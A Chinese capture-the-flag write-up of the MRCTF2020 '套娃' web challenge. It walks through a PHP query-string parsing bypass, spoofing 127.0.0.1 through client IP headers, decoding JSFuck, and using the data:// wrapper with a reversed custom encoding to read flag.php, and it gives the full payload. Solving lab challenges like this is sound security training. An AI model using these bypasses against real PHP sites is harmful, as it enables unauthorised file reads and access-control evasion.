首页 > 编程语言 >[MRCTF2020]套娃 php字符串解析绕过,jsfuck编码

[MRCTF2020]套娃 php字符串解析绕过,jsfuck编码

时间:2024-08-07 15:25:32浏览次数:17  
标签:127.0 套娃 GET 0.1 ip jsfuck file 字符串 php

进来看到代码

<!--
//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
!-->

意思就是我们在url中?后面的东西不能出现下划线和它的url编码,第二个if不能强等于23333又要匹配到23333

字符串解析参考文章:

利用PHP的字符串解析特性Bypass - FreeBuf网络安全行业门户

经过尝试这两种可以绕过

b%20u%20p%20t=23333%0A    //%20为空格url编码,%0A为回车url编码
b%2eu%2ep%2et=23333%0A    //%2e为.

进去过后页面显示ip不对,下面随便用一个伪造127.0.0.1即可

X-Real-IP:

X-Client-IP:

X-Originating-IP:

出现一串jsfuck码,有两种解码方式

第一中F12打开控制台输入即可,如果有警告按提示输入即可解析

第二种去这个网站解析

CoderTab - JSUnFuck - Decode JSFuck Here

post方式传递参数出现源码

bp右键点击通过浏览器请求复制网址浏览器输入即可复制源码

源码:

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

代码解析:

change函数的主要功能是将参数$v进行base64解码,并对解码后的结果进行进一步的处理。具体来说,函数使用一个循环迭代字符串$v的每个字符。在每次迭代中,函数将字符转换为ASCII码,然后加上$i乘以2的结果,再将得到的新的ASCII码转换回字符,并将其拼接到一个结果字符串$re中。

最后,函数返回结果字符串$re

if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' )老办法伪造ip,然后利用data伪协议写入数据传给2333即可

我们要使$_GET['file'])的值为flag.php

把change函数逆向一下得到v值为

ZmpdYSZmXGI=

PHP脚本:

$str = '';
$re = 'flag.php';
for ($i=0;$i<strlen($re);$i++){
    $str .= chr ( ord ($re[$i]) - $i*2 );
}
$str = base64_encode($str);
echo "传入的v的值为:".$str;

改变请求方式进行传值,payload;

?2333=data://text/plain,todat%20is%20a%20happy%20day&file=ZmpdYSZmXGI

Client-IP: 127.0.0.1

标签:127.0,套娃,GET,0.1,ip,jsfuck,file,字符串,php
From: https://blog.csdn.net/weixin_73399382/article/details/140963289

相关文章

  • 计算机毕业设计必看必学!! 87229 基于ssm珠宝店信息管理系统,原创定制程序, java、PHP
    摘要近年来,随着移动互联网的快速发展,电子商务越来越受到网民们的欢迎,电子商务对国家经济的发展也起着越来越重要的作用。简单的流程、便捷可靠的支付方式、快捷畅通的物流快递、安全的信息保护都使得电子商务越来越赢得网民们的青睐。现今,大量的计算机技术应用于商业领域,......
  • 计算机毕业设计必看必学! ! 79197 基于ssm+mysql的学生心理健康在线咨询平台,原创定制
    摘要:在社会快速发展的影响下,教育业继续发展,大大增加了学生心理健康在线咨询平台的数量、多样性、质量等等的要求,使学生心理健康在线咨询平台的管理和运营比过去十年更加困难。依照这一现实为基础,设计一个快捷而又方便的学生心理健康在线咨询平台是一项十分重要并且有价值的事......
  • Zephir构建PHP扩展
    工作原理就是把你写好的php代码编译成c,然后你可以将其以扩展.so的形式添加到'php.ini'文件中。功能稍微少一点,适合简单场景安装gitclonehttps://github.com/phalcon/zephircdzephir./install-c验证是否安装正确:zephirhelp开始编写代码zephirinitutils执行......
  • PRipple:现代化PHP原生协程引擎
    转载自微信公众号《开源技术小栈》简介PRipple是一个高性能的原生PHP协程框架,旨在处理高并发、复杂的网络通信和数据操作。项目基于PHP8.1自身的纤程特性实现协程,提供了更加简单易用的API和工具,使得开发者可以轻松地构建高性能的PHP应用。文档地址官方文档特点高性能:......
  • PayPal支付对接php
    #安装composer包"paypal/rest-api-sdk-php":"^1.14","paypal/paypal-checkout-sdk":"^1.0"usePayPal\Api\Amount;usePayPal\Api\Details;usePayPal\Api\Item;usePayPal\Api\ItemList;usePayPal\Api\Payer......
  • 小白学php,emlog6.0代码审计,fortify代码审计
    一、初识报错注入报错注入是一种通过引发SQL错误并利用错误消息回显数据库信息的技术。通过使用MySQL中的特定函数(如UPDATEXML),可以将数据库查询结果嵌入到错误消息中,从而获取数据库中的数据。二、执行原理代码逻辑分析:用户输入参数(如用户ID)。后台执行SQL查询(查询用户信息......
  • ThinkPHP8事件两种使用方式
    目录通过监听方式通过事件订阅智能订阅手动订阅监听方式生成事件监听类,在项目根目录下执行以下命令://生成一个UserLoginSuccess监听类phpthinkmake:listenerUserLoginSuccess执行之后,会在app->listener目录下生成UserLoginSuccess.php,代码如下:/**用户登录成......
  • 织梦用的是php还是thinkphp
    织梦内容管理系统(DedeCms)以简单、实用、开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统,在经历多年的发展,目前的版本无论在功能,还是在易用性方面,都有了长足的发展和进步,DedeCms免费版的主要目标用户锁定在个人站长,功能更专注于个人网站或中小型门......
  • php: 在php中切换到指定的用户执行
    一,真实用户id和有效用户id的区别:1,  真实用户ID(RUID) 是启动进程的用户的ID2,有效用户ID(EUID) 是当前执行进程的用户ID即:进程启动时的用户id是真实用户ID(RUID),   但实际执行时为了控制权限会切换为:有效用户ID二,代码:切换用户和组的有效id<?php......
  • 计算机毕业设计必看必学!! 86393 基于微服务架构的餐饮系统的设计与实现,原创定制程序,
    摘   要近年来,我国经济和社会发展迅速,人们物质生活水平日渐提高,餐饮行业更是发展迅速,人们对于餐饮行业的认识和要求也越来越高。传统形式的餐饮行业都是以人为本,管理起来需要很多人力、物力、财力,既不方便管理者的管理,也不方便顾客实时了解餐厅动态,给传统餐......